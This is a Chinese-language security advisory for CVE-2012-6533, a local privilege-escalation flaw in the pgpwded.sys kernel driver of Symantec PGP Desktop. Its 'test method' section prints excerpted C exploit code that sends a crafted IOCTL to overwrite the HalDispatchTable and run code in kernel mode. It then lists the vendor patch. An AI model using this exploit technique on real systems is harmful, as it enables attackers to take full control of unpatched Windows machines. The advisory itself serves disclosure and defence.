发布日期:2012-12-25
更新日期:2013-02-25
受影响系统:
Symantec PGP Desktop 10.2
Symantec PGP Desktop 10.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 57835
CVE(CAN) ID: CVE-2012-6533
Symantec Encryption Desktop是多层存储加密解决方案,通过绑定 Drive Encryption 来确保本地本地硬盘文件的安全,通过File Share Encryption来确保云内文件共享的安全。
Symantec PGP Desktop和Symantec Encryption Desktop系统内核驱动程序pgpwded.sys在处理畸形输入存在整数溢出,特别是在Windows XP和Windows Sever 2003上,内核驱动程序也存在其他缓冲区溢出漏洞。要利用两个漏洞需要本地访问受影响系统。成功利用后可造成以提升的权限执行任意代码。
<*来源:Nikita Tarakanov
链接:?fid=security_advisory&pvid=secu
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#define IO_CONTROL_VULN 0x80022058
#define TARGET_DEVICE L"\\Device\\pgpwdef"
[..]
usName.Buffer = TARGET_DEVICE;
usName.Length = usName.MaximumLength =
(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE ,
NULL, NULL);
// get handle of target devide
ns = f_NtOpenFile(
&hDev,
FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT
);
[..]
BOOL bStatus = DeviceIoControl(
hDev,
IO_CONTROL_VULN,
InBuff, 0x8,
OutBuff, 0x8,
&dwReturnLen, NULL
);
dwReturnLen = 0;
bStatus = DeviceIoControl(
hDev,
IO_CONTROL_VULN,
InBuff, sizeof(PVOID),
(PUCHAR)m_HalDispatchTable, 0,
&dwReturnLen, NULL
);
[..]
f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
[..]
Your evil code processes with CPL==0
建议:
--------------------------------------------------------------------------------
厂商补丁:
Symantec
--------
Symantec已经为此发布了一个安全公告(20130213_00)以及相应补丁:
20130213_00:Security Advisories Relating to Symantec Products - Symantec Encryption Desktop Local Access Elevation of Privilege
链接:?fid=security_advisory&pvid=security_advisory&suid=20130213_00